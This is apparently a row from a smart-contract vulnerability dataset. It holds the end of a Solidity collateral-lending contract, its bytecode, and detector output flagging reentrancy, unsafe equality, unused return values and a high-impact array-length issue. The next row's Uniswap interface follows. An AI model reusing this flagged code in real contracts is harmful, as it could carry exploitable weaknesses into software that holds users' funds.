}else if(punishXPA > maxForceOffsetAmount){
return maxForceOffsetAmount;
}else{
return punishXPA;
}
}
// 取得用戶抵押率, user: 指定用戶
function getMortgageRate(
address user_
)
public
view
returns(uint256){
if(fromAmountBooks[user_] != 0){
uint256 totalLoanXPA = 0;
for(uint256 i = 0; i < xpaAsset.length; i++) {
totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i])));
}
return safeDiv(safeMul(totalLoanXPA,1 ether),fromAmountBooks[user_]);
}else{
return 0;
}
}
// 取得最高抵押率
function getHighestMortgageRate()
public
view
returns(uint256){
uint256 totalXPA = Token(XPA).totalSupply();
uint256 issueRate = safeDiv(safeMul(Token(XPA).balanceOf(this), 1 ether), totalXPA);
if(issueRate >= 0.7 ether){
return 0.7 ether;
}else if(issueRate >= 0.6 ether){
return 0.6 ether;
}else if(issueRate >= 0.5 ether){
return 0.5 ether;
}else if(issueRate >= 0.3 ether){
return 0.3 ether;
}else{
return 0.1 ether;
}
}
// 取得平倉線
function getClosingLine()
public
view
returns(uint256){
uint256 highestMortgageRate = getHighestMortgageRate();
if(highestMortgageRate >= 0.6 ether){
return safeAdd(highestMortgageRate, 0.1 ether);
}else{
return 0.6 ether;
}
}
// 取得 XPA Assets 匯率
function getPrice(
address token_
)
public
view
returns(uint256){
return TokenFactory(tokenFactory).getPrice(token_);
}
// 取得用戶可提領的XPA(扣掉最高抵押率後的XPA)
function getUsableXPA(
address user_
)
public
view
returns(uint256) {
uint256 totalLoanXPA = 0;
for(uint256 i = 0; i < xpaAsset.length; i++) {
totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i])));
}
if(fromAmountBooks[user_] > safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate())){
return safeSub(fromAmountBooks[user_], safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate()));
}else{
return 0;
}
}
// 取得用戶可借貸 XPA Assets 最大額度, user: 指定用戶
/*function getUsableAmount(
address user_,
address token_
)
public
view
returns(uint256) {
uint256 amount = safeDiv(safeMul(fromAmountBooks[user_], getPrice(token_)), 1 ether);
return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether);
}*/
// 取得用戶已借貸 XPA Assets 數量, user: 指定用戶
function getLoanAmount(
address user_,
address token_
)
public
view
returns(uint256) {
return toAmountBooks[user_][token_];
}
// 取得用戶剩餘可借貸 XPA Assets 額度, user: 指定用戶
function getRemainingAmount(
address user_,
address token_
)
public
view
returns(uint256) {
uint256 amount = safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether);
return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether);
}
function burnFundAccount(
address token_,
uint256 amount_
)
onlyOperator
public
{
if(
FundAccount(fundAccount).burn(token_, amount_)
){
unPaidFundAccount[token_] = safeSub(unPaidFundAccount[token_], amount_);
}
}
function transferProfit(
address token_,
uint256 amount_
)
onlyOperator
public
{
require(amount_ > 0);
if(
XPA != token_ &&
Token(token_).balanceOf(this) >= amount_
) {
require(Token(token_).transfer(bank, amount_));
}
if(
XPA == token_ &&
Token(XPA).balanceOf(this) >= amount_
) {
profit = safeSub(profit,amount_);
require(Token(token_).transfer(bank, amount_));
}
}
function setFeeRate(
uint256 withDrawFeerate_,
uint256 offsetFeerate_,
uint256 forceOffsetBasicFeerate_,
uint256 forceOffsetExecuteFeerate_,
uint256 forceOffsetExtraFeerate_,
uint256 forceOffsetExecuteMaxFee_
)
onlyOperator
public
{
require(withDrawFeerate_ < 0.05 ether);
require(offsetFeerate_ < 0.05 ether);
require(forceOffsetBasicFeerate_ < 0.05 ether);
require(forceOffsetExecuteFeerate_ < 0.05 ether);
require(forceOffsetExtraFeerate_ < 0.05 ether);
withdrawFeeRate = withDrawFeerate_;
offsetFeeRate = offsetFeerate_;
forceOffsetBasicFeeRate = forceOffsetBasicFeerate_;
forceOffsetExecuteFeeRate = forceOffsetExecuteFeerate_;
forceOffsetExtraFeeRate = forceOffsetExtraFeerate_;
forceOffsetExecuteMaxFee = forceOffsetExecuteMaxFee_;
}
function setForceOffsetAmount(
uint256 maxForceOffsetAmount_,
uint256 minForceOffsetAmount_
)
onlyOperator
public
{
maxForceOffsetAmount = maxForceOffsetAmount_;
minForceOffsetAmount = minForceOffsetAmount_;
}
function migrate(
address newContract_
)
public
onlyOwner
{
require(newContract_ != address(0));
if(
newXPAAssets == address(0) &&
XPAAssets(newContract_).transferXPAAssetAndProfit(xpaAsset, profit) &&
Token(XPA).transfer(newContract_, Token(XPA).balanceOf(this))
) {
forceOff = true;
powerStatus = false;
newXPAAssets = newContract_;
for(uint256 i = 0; i < xpaAsset.length; i++) {
XPAAssets(newContract_).transferUnPaidFundAccount(xpaAsset[i], unPaidFundAccount[xpaAsset[i]]);
}
emit eMigrate(newContract_);
}
}
function transferXPAAssetAndProfit(
address[] xpaAsset_,
uint256 profit_
)
public
onlyOperator
returns(bool) {
require(msg.sender == oldXPAAssets);
xpaAsset = xpaAsset_;
profit = profit_;
return true;
}
function transferUnPaidFundAccount(
address xpaAsset_,
uint256 unPaidAmount_
)
public
onlyOperator
returns(bool) {
require(msg.sender == oldXPAAssets);
unPaidFundAccount[xpaAsset_] = unPaidAmount_;
return true;
}
function migratingAmountBooks(
address user_,
address newContract_
)
public
onlyOperator
{
XPAAssets(newContract_).migrateAmountBooks(user_);
}
function migrateAmountBooks(
address user_
)
public
onlyOperator
{
require(msg.sender == oldXPAAssets);
require(!migrateBooks[user_]);
migrateBooks[user_] = true;
fromAmountBooks[user_] = safeAdd(fromAmountBooks[user_],XPAAssets(oldXPAAssets).getFromAmountBooks(user_));
forceOffsetBooks[user_] = XPAAssets(oldXPAAssets).getForceOffsetBooks(user_);
for(uint256 i = 0; i < xpaAsset.length; i++) {
toAmountBooks[user_][xpaAsset[i]] = safeAdd(toAmountBooks[user_][xpaAsset[i]], XPAAssets(oldXPAAssets).getLoanAmount(user_,xpaAsset[i]));
}
emit eMigrateAmount(user_);
}
function getFromAmountBooks(
address user_
)
public
view
returns(uint256) {
return fromAmountBooks[user_];
}
function getForceOffsetBooks(
address user_
)
public
view
returns(uint256) {
return forceOffsetBooks[user_];
}
}
|
0x6060604052600436106102a55763ffffffff60e060020a600035041663126f992c81146102aa5780631390df6c146102d157806320e979b1146103005780632539c8641461032157806328a20a2f146103525780632f8061d4146103a357806332d05c6d146103cc57806335ee2f8a146103ee57806341976e0914610401578063419a88b614610420578063426365ad1461043357806354fd4d501461044c578063570ca735146104d6578063590e2d3e146104e95780635b0605301461050e5780635fc6518f146105a357806366acdd34146105c257806366d16cc3146105d85780636790aee8146105eb57806369328dec1461060a5780636b1bfd33146106335780636bee9cfa1461065257806375ae51ce1461066557806375e88e3a14610678578063767eb6511461069757806376cdb03b146106bc57806379d007f7146106cf5780637ec4edbe146106e257806384385c6f146107075780638a8f5b79146107265780638da5cb5b146107395780638e543a121461074c5780639773489a146107715780639dbda90214610784578063a036f0f814610797578063a3e20d71146107b6578063a46c792c146107d8578063a4e02fcc146107f7578063b15fbfe614610819578063b37f17ee14610838578063b5afd61b1461085d578063b791f3bc14610870578063c40fec3a1461088f578063cc9a31a7146108a2578063ce5494bb146108c1578063ce9e673b146108e0578063ced0d31d146108f3578063d09119b414610918578063d0c2918e14610937578063d1376daa14610956578063d43a186714610969578063d7cd6c1314610988578063d9a8748c146109aa578063dd1219fd146109bd578063df9204b6146109d5578063e77772fe146109e8578063ea99e689146109fb578063f1da7e6314610a0e578063f2fde38b14610a2d575b600080fd5b34156102b557600080fd5b6102bd610a4c565b604051901515815260200160405180910390f35b34156102dc57600080fd5b6102e4610a6e565b604051600160a060020a03909116815260200160405180910390f35b341561030b57600080fd5b61031f600160a060020a0360043516610a7d565b005b341561032c57600080fd5b610340600160a060020a0360043516610ab7565b60405190815260200160405180910390f35b341561035d57600080fd5b6102bd60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610ac992505050565b34156103ae57600080fd5b61031f600160a060020a036004358116906024359060443516610b38565b34156103d757600080fd5b61031f600435600160a060020a0360243516610c7f565b34156103f957600080fd5b610340610ddf565b341561040c57600080fd5b610340600160a060020a0360043516610de5565b341561042b57600080fd5b6102e4610e54565b341561043e57600080fd5b61031f600435602435610e63565b341561045757600080fd5b61045f610ea1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561049b578082015183820152602001610483565b50505050905090810190601f1680156104c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104e157600080fd5b6102e4610f3f565b34156104f457600080fd5b610340600160a060020a0360043581169060243516610f4e565b341561051957600080fd5b61031f60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496505093359350610f6b92505050565b34156105ae57600080fd5b6102e4600160a060020a0360043516611168565b34156105cd57600080fd5b6102e4600435611183565b34156105e357600080fd5b6103406111ab565b34156105f657600080fd5b610340600160a060020a03600435166111b1565b341561061557600080fd5b61031f600160a060020a0360043581169060243590604435166111c3565b341561063e57600080fd5b61031f600160a060020a03600435166113f1565b341561065d57600080fd5b610340611452565b341561067057600080fd5b610340611458565b341561068357600080fd5b610340600160a060020a036004351661145e565b34156106a257600080fd5b610340600160a060020a0360043581169060243516611479565b34156106c757600080fd5b6102e46114ad565b34156106da57600080fd5b6103406114bc565b34156106ed57600080fd5b61031f600160a060020a03600435811690602435166114c2565b341561071257600080fd5b61031f600160a060020a0360043516611aed565b341561073157600080fd5b6102e4611b43565b341561074457600080fd5b6102e4611b52565b341561075757600080fd5b610340600160a060020a0360043581169060243516611b61565b341561077c57600080fd5b610340611b8c565b341561078f57600080fd5b610340611b92565b34156107a257600080fd5b610340600160a060020a0360043516611d03565b34156107c157600080fd5b6102bd600160a060020a0360043516602435611de6565b34156107e357600080fd5b61031f600160a060020a0360043516611e58565b341561080257600080fd5b61031f600160a060020a0360043516602435611e88565b341561082457600080fd5b610340600160a060020a03600435166120e3565b341561084357600080fd5b61031f600160a060020a03600435811690602435166120fe565b341561086857600080fd5b61034061218c565b341561087b57600080fd5b61031f600160a060020a0360043516612192565b341561089a57600080fd5b6103406124b4565b34156108ad57600080fd5b6102bd600160a060020a03600435166124ba565b34156108cc57600080fd5b61031f600160a060020a03600435166124dd565b34156108eb57600080fd5b610340612836565b34156108fe57600080fd5b61031f60043560243560443560643560843560a43561283c565b341561092357600080fd5b61031f600160a060020a03600435166128eb565b341561094257600080fd5b6102bd600160a060020a0360043516612aa0565b341561096157600080fd5b610340612ab5565b341561097457600080fd5b610340600160a060020a0360043516612afa565b341561099357600080fd5b61031f600160a060020a0360043516602435612b0c565b34156109b557600080fd5b6102e4612bf1565b34156109c857600080fd5b61031f6004351515612c00565b34156109e057600080fd5b6102bd612ca7565b34156109f357600080fd5b6102e4612cb7565b3415610a0657600080fd5b610340612cc6565b3415610a1957600080fd5b610340600160a060020a0360043516612ccc565b3415610a3857600080fd5b61031f600160a060020a0360043516612d59565b6003547501000000000000000000000000000000000000000000900460ff1681565b600654600160a060020a031681565b60015433600160a060020a03908116911614610a9557fe5b60038054600160a060020a031916600160a060020a0392909216919091179055565b60126020526000908152604090205481565b60025460009033600160a060020a0390811691161480610af7575060015433600160a060020a039081169116145b1515610aff57fe5b60065433600160a060020a03908116911614610b1a57600080fd5b600f838051610b2d929160200190613220565b505060115550600190565b60035460009060a060020a900460ff161515610b5057fe5b610b5982612d93565b905083600160a060020a03166379cc6790828560405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610baf57600080fd5b5af11515610bbc57600080fd5b5050506040518051905015610c7957600160a060020a038082166000908152600c6020908152604080832093881683529290522054610bfb9084612db0565b600160a060020a038083166000908152600c602090815260408083209389168352929052819020919091557ffa6a16645a395100c51e6445cb350ca9711662c961c9e4dbb6d41c45ab8691cd9082908690869051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b50505050565b60035460009060a060020a900460ff161515610c9757fe5b610ca082612d93565b905068056bc75e2d631000008310158015610cc35750610cbf81611d03565b8311155b15610dda57600160a060020a0381166000908152600b6020526040902054610ceb9084612db0565b600160a060020a038083166000908152600b60205260409081902092909255600554169063a9059cbb90839086905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d5a57600080fd5b5af11515610d6757600080fd5b505050604051805190501515610d7c57600080fd5b6005547fc4e9fd0b0814b142a8dce2da2fb5bbbc63e23ecc9dc77fbdf7e6785b65821073908290600160a060020a031685604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b505050565b60135481565b600854600090600160a060020a03166341976e098360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610e3857600080fd5b5af11515610e4557600080fd5b50505060405180519392505050565b600554600160a060020a031681565b60025433600160a060020a0390811691161480610e8e575060015433600160a060020a039081169116145b1515610e9657fe5b600991909155600a55565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f375780601f10610f0c57610100808354040283529160200191610f37565b820191906000526020600020905b815481529060010190602001808311610f1a57829003601f168201915b505050505081565b600254600160a060020a031681565b600c60209081526000928352604080842090915290825290205481565b600254600090819033600160a060020a0390811691161480610f9b575060015433600160a060020a039081169116145b1515610fa357fe5b600854600160a060020a0316635b0605308686866040518463ffffffff1660e060020a028152600401808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611010578082015183820152602001610ff8565b50505050905090810190601f16801561103d5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561107357808201518382015260200161105b565b50505050905090810190601f1680156110a05780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15156110c157600080fd5b5af115156110ce57600080fd5b5050506040518051925060009150505b600f548110156111295781600160a060020a0316600f8281548110151561110157fe5b600091825260209091200154600160a060020a0316141561112157611161565b6001016110de565b600f80546001810161113b8382613283565b5060009182526020909120018054600160a060020a031916600160a060020a0384161790555b5050505050565b600060208190529081526040902054600160a060020a031681565b600f80548290811061119157fe5b600091825260209091200154600160a060020a0316905081565b60115481565b600b6020526000908152604090205481565b600354600090819060a060020a900460ff1615156111dd57fe5b6111e683612d93565b600554909250600160a060020a038681169116148015906112075750600084115b801561124b575061124761123161123f61123161122386611d03565b61122c8a610de5565b612dc7565b670de0b6b3a7640000612df5565b61122c611b92565b8411155b1561116157600160a060020a038083166000908152600c60209081526040808320938916835292905220546112809085612e16565b600160a060020a038084166000908152600c60209081526040808320938a16835292905220556014546112b890611231908690612dc7565b905084600160a060020a0316630ecaea73836112d48785612db0565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561131757600080fd5b5af1151561132457600080fd5b50505060405180515050600160a060020a038516630ecaea73308360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561138257600080fd5b5af1151561138f57600080fd5b50505060405180519050507fc4e9fd0b0814b142a8dce2da2fb5bbbc63e23ecc9dc77fbdf7e6785b65821073828686604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050505050565b60025433600160a060020a039081169116148061141c575060015433600160a060020a039081169116145b151561142457fe5b600160a060020a0381161561144f5760108054600160a060020a031916600160a060020a0383161790555b50565b60155481565b600a5481565b600160a060020a03166000908152600d602052604090205490565b60008061149461123161148b86611d03565b61122c86610de5565b90506114a56112318261122c611b92565b949350505050565b600354600160a060020a031681565b60185481565b6000806000806114d06132a7565b600354600090819060a060020a900460ff1615156114ea57fe5b600954600160a060020a038a166000908152600b6020526040902054101561152a57600160a060020a0389166000908152600b602052604090205461152e565b6009545b601354909750421161153f57600080fd5b6000871161154c57600080fd5b61155589612d93565b955085600160a060020a031689600160a060020a03161480156115815750600061157f878a611b61565b115b15611795577fbf9f44ee4acb3e5987bb0eded9a112002728be975cd2547168a694a0cee856c0868a89604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a16115e489888a601554612e33565b945060008511156116a957600554601054600160a060020a039182169163a9059cbb911661163f6116266116188c8b612db0565b670de0b6b3a7640000612dc7565b61163a670de0b6b3a7640000601554612e16565b612df5565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561168257600080fd5b5af1151561168f57600080fd5b5050506040518051905015156116a457600080fd5b61174b565b600554601054600160a060020a039182169163a9059cbb91166116e66112316116d28c8b612db0565b61122c670de0b6b3a7640000601554612db0565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561172957600080fd5b5af1151561173657600080fd5b50505060405180519050151561174b57600080fd5b600160a060020a0389166000908152600b6020526040902054611777906117728988612db0565b612db0565b600160a060020a038a166000908152600b6020526040902055611ae2565b85600160a060020a031689600160a060020a0316141580156117d25750600160a060020a0389166000908152600d60205260409020546170800142115b80156117ed57506117e1612ab5565b6117ea8a612ccc565b10155b15611ae257600160a060020a0389166000908152600d602052604090204290556118168961319c565b93507fbf9f44ee4acb3e5987bb0eded9a112002728be975cd2547168a694a0cee856c0868a86604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a161187761123185601654612dc7565b835260185461188b90611231908690612dc7565b60208401526017546118a290611231908690612dc7565b604084019081526019549051116118bd5760408301516118c1565b6019545b60408401526011546118db908460005b6020020151612e16565b6011556118f860408401516118f385518660016118d1565b612e16565b91506119048483612db0565b9450600090505b600f5481101561198e5760006119448a600f8481548110151561192a57fe5b600091825260209091200154600160a060020a0316611b61565b1115611986576119788986600f8481548110151561195e57fe5b6000918252602082200154600160a060020a031690612e33565b94508415156119865761198e565b60010161190b565b600160a060020a0389166000908152600b60205260409020546119b5906117728688612db0565b600160a060020a03808b166000908152600b60205260409020919091556005546010549082169163a9059cbb9116611a0186600160200201516118f36119fb8a89612db0565b8b612db0565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611a4457600080fd5b5af11515611a5157600080fd5b505050604051805190501515611a6657600080fd5b600554600160a060020a031663a9059cbb33604086015160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611ac057600080fd5b5af11515611acd57600080fd5b505050604051805190501515611ae257600080fd5b505050505050505050565b60015433600160a060020a03908116911614611b0557fe5b60028054600160a060020a03928316600160a060020a0319918216811790925560035490921660009081526020819052604090208054909216179055565b600754600160a060020a031681565b600154600160a060020a031681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60195481565b60055460009081908190600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611bd857600080fd5b5af11515611be557600080fd5b5050506040518051600554909350611c749150611c6e90600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611c4957600080fd5b5af11515611c5657600080fd5b50505060405180519050670de0b6b3a7640000612dc7565b83612df5565b90506709b6e64a8ec600008110611c95576709b6e64a8ec600009250611cfe565b670853a0d2313c00008110611cb457670853a0d2313c00009250611cfe565b6706f05b59d3b200008110611cd3576706f05b59d3b200009250611cfe565b670429d069189e00008110611cf257670429d069189e00009250611cfe565b67016345785d8a000092505b505090565b600080805b600f54811015611d6557611d5b826118f3611d2f61161888600f8781548110151561192a57fe5b61163a600f86815481101515611d4157fe5b600091825260209091200154600160a060020a0316610de5565b9150600101611d08565b611d82611d7a83670de0b6b3a7640000612dc7565b61163a611b92565b600160a060020a0385166000908152600b60205260409020541115611dda57600160a060020a0384166000908152600b6020526040902054611dd390611772611d7a85670de0b6b3a7640000612dc7565b9250611ddf565b600092505b5050919050565b60025460009033600160a060020a0390811691161480611e14575060015433600160a060020a039081169116145b1515611e1c57fe5b60065433600160a060020a03908116911614611e3757600080fd5b50600160a060020a0391909116600090815260126020526040902055600190565b600160a060020a033381166000908152602081905260409020805491909216600160a060020a0319909116179055565b60025433600160a060020a0390811691161480611eb3575060015433600160a060020a039081169116145b1515611ebb57fe5b60008111611ec857600080fd5b600554600160a060020a03838116911614801590611f4a57508082600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611f3057600080fd5b5af11515611f3d57600080fd5b5050506040518051905010155b15611fcb57600354600160a060020a038084169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611fa957600080fd5b5af11515611fb657600080fd5b505050604051805190501515611fcb57600080fd5b600554600160a060020a03838116911614801561204f57506005548190600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561203557600080fd5b5af1151561204257600080fd5b5050506040518051905010155b156120df5761206060115482612db0565b601155600354600160a060020a038084169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156120bd57600080fd5b5af115156120ca57600080fd5b5050506040518051905015156120df57600080fd5b5050565b600160a060020a03166000908152600b602052604090205490565b60025433600160a060020a0390811691161480612129575060015433600160a060020a039081169116145b151561213157fe5b80600160a060020a031663b791f3bc8360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561217f57600080fd5b5af1151561116157600080fd5b60095481565b60025460009033600160a060020a03908116911614806121c0575060015433600160a060020a039081169116145b15156121c857fe5b60065433600160a060020a039081169116146121e357600080fd5b600160a060020a0382166000908152600e602052604090205460ff161561220957600080fd5b600160a060020a038083166000908152600e60209081526040808320805460ff19166001179055600b90915290819020546006546122a693919291169063b15fbfe69086905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561228a57600080fd5b5af1151561229757600080fd5b50505060405180519050612e16565b600160a060020a038084166000908152600b6020526040908190209290925560065416906375e88e3a9084905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561230e57600080fd5b5af1151561231b57600080fd5b5050506040518051600160a060020a0384166000908152600d60205260408120919091559150505b600f5481101561247357600160a060020a0382166000908152600c60205260408120600f805461241d9391908590811061237957fe5b6000918252602080832090910154600160a060020a039081168452908301939093526040909101902054600654600f805492939190911691638e543a12918791879081106123c357fe5b600091825260209091200154600160a060020a031660405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561228a57600080fd5b600160a060020a0383166000908152600c60205260408120600f80549192918590811061244657fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902055600101612343565b7f901da904e758aa932aeb3ad6c6fec24fea73e68c638f5cf38a6f6e60677622ce82604051600160a060020a03909116815260200160405180910390a15050565b60175481565b600160a060020a0390811660009081526020819052604090205433821691161490565b60015460009033600160a060020a039081169116146124f857fe5b600160a060020a038216151561250d57600080fd5b600754600160a060020a03161580156125d4575081600160a060020a03166328a20a2f600f6011546040518363ffffffff1660e060020a0281526004018080602001838152602001828103825284818154815260200191508054801561259c57602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161257e575b50509350505050602060405180830381600087803b15156125bc57600080fd5b5af115156125c957600080fd5b505050604051805190505b80156126a45750600554600160a060020a031663a9059cbb83826370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561263257600080fd5b5af1151561263f57600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561268c57600080fd5b5af1151561269957600080fd5b505050604051805190505b156120df575060038054750100000000000000000000000000000000000000000075ff000000000000000000000000000000000000000000199091161774ff00000000000000000000000000000000000000001916905560078054600160a060020a031916600160a060020a03831617905560005b600f548110156127f55781600160a060020a031663a3e20d71600f8381548110151561274157fe5b6000918252602082200154600f8054600160a060020a03909216926012929091908790811061276c57fe5b6000918252602080832090910154600160a060020a03168352820192909252604090810190912054905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156127d657600080fd5b5af115156127e357600080fd5b50505060405180515050600101612719565b7f74c5cc2c641422a77f7ad46459e9490047d8cf74b928e77f6493d0ef90c772a482604051600160a060020a03909116815260200160405180910390a15050565b60165481565b60025433600160a060020a0390811691161480612867575060015433600160a060020a039081169116145b151561286f57fe5b66b1a2bc2ec50000861061288257600080fd5b66b1a2bc2ec50000851061289557600080fd5b66b1a2bc2ec5000084106128a857600080fd5b66b1a2bc2ec5000083106128bb57600080fd5b66b1a2bc2ec5000082106128ce57600080fd5b601495909555601593909355601691909155601755601855601955565b600354600090819060a060020a900460ff16151561290557fe5b61290e83612d93565b600554909250600160a060020a031663dd62ed3e333060405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561296957600080fd5b5af1151561297657600080fd5b505050604051805191505068056bc75e2d631000008110801590612a105750600554600160a060020a03166323b872dd33308460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156129f857600080fd5b5af11515612a0557600080fd5b505050604051805190505b15610dda57600160a060020a0382166000908152600b6020526040902054612a389082612e16565b600160a060020a0383166000908152600b602052604090819020919091557f9bc0edc04558e16448c0601508fdc1d24850bfb6123399cd5b88777aea4b1d46908390839051600160a060020a03909216825260208201526040908101905180910390a1505050565b600e6020526000908152604090205460ff1681565b600080612ac0611b92565b9050670853a0d2313c00008110612aea57612ae38167016345785d8a0000612e16565b9150612af6565b670853a0d2313c000091505b5090565b600d6020526000908152604090205481565b60025433600160a060020a0390811691161480612b37575060015433600160a060020a039081169116145b1515612b3f57fe5b601054600160a060020a0316639dc29fac838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515612b9557600080fd5b5af11515612ba257600080fd5b50505060405180519050156120df57600160a060020a038216600090815260126020526040902054612bd49082612db0565b600160a060020a0383166000908152601260205260409020555050565b601054600160a060020a031681565b60025433600160a060020a0390811691161480612c2b575060015433600160a060020a039081169116145b1515612c3357fe5b6003547501000000000000000000000000000000000000000000900460ff1615612c7a576003805474ff00000000000000000000000000000000000000001916905561144f565b6003805482151560a060020a0274ff00000000000000000000000000000000000000001990911617905550565b60035460a060020a900460ff1681565b600854600160a060020a031681565b60145481565b600160a060020a0381166000908152600b60205260408120548190819015611dda575060009050805b600f54811015612d2657612d1c826118f3611d2f61161888600f8781548110151561192a57fe5b9150600101612cf5565b611dd3612d3b83670de0b6b3a7640000612dc7565b600160a060020a0386166000908152600b6020526040902054612df5565b60015433600160a060020a03908116911614612d7157fe5b60018054600160a060020a031916600160a060020a0392909216919091179055565b6000612d9e826124ba565b612da85733612daa565b815b92915050565b60008082841015612dc057600080fd5b5050900390565b6000828202831580612de35750828482811515612de057fe5b04145b1515612dee57600080fd5b9392505050565b6000808211612e0357600080fd5b8183811515612e0e57fe5b049392505050565b6000828201838110801590612de3575082811015612dee57600080fd5b600080600080600080612e4c6112318a61122c8b610de5565b600160a060020a03808c166000908152600c60209081526040808320938d16835292905220549095509350612e846112318589612dc7565b9250612e908484612e16565b851061301b57612eaf612ea66116188686612e16565b61163a8a610de5565b91507f6845940b5d385ddd8dccd32f8ecfa579f74efa6c1ca32e81fe928485cfb92c018289612ede8787612e16565b604051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a1612f138983612db0565b600160a060020a03808c166000908152600c60209081526040808320938d16835292905290812055601154909950612f63906118f3612f5a86670de0b6b3a7640000612dc7565b61163a8c610de5565b601155601054600160a060020a0316639dc29fac898660405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515612fbc57600080fd5b5af11515612fc957600080fd5b50505060405180519050151561301657600160a060020a038816600090815260126020526040902054612ffc9085612e16565b600160a060020a0389166000908152601260205260409020555b61318e565b6130286112318a89612dc7565b925061303660115484612e16565b6011556130526112316130498b86612db0565b61122c8b610de5565b905061305e8482612db0565b600160a060020a03808c166000908152600c60209081526040808320938d168352929052819020919091557f6845940b5d385ddd8dccd32f8ecfa579f74efa6c1ca32e81fe928485cfb92c01908a908a90849051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a160105460009950600160a060020a0316639dc29fac898360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561313457600080fd5b5af1151561314157600080fd5b50505060405180519050151561318e57600160a060020a0388166000908152601260205260409020546131749082612e16565b600160a060020a0389166000908152601260205260409020555b509698975050505050505050565b600160a060020a0381166000908152600b6020526040812054816131cb6112318367016345785d8a0000612dc7565b90506131e2600a5468056bc75e2d63100000612e16565b82116131f057819250611ddf565b600a5481101561320457600a549250611ddf565b600954811115613218576009549250611ddf565b809250611ddf565b828054828255906000526020600020908101928215613277579160200282015b828111156132775782518254600160a060020a031916600160a060020a039190911617825560209290920191600190910190613240565b50612af69291506132ce565b815481835581811511610dda57600083815260209020610dda9181019083016132f5565b60606040519081016040526003815b60008152602001906001900390816132b65790505090565b6132f291905b80821115612af6578054600160a060020a03191681556001016132d4565b90565b6132f291905b80821115612af657600081556001016132fb5600a165627a7a72305820d88c1ba92341281bd30617da4cb406150b0c3084cb6b7144528361df0809c7170029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,350 |
0x2419356360becd9929caafc787ce018b42fa56fa
|
/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
pragma solidity 0.6.7;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
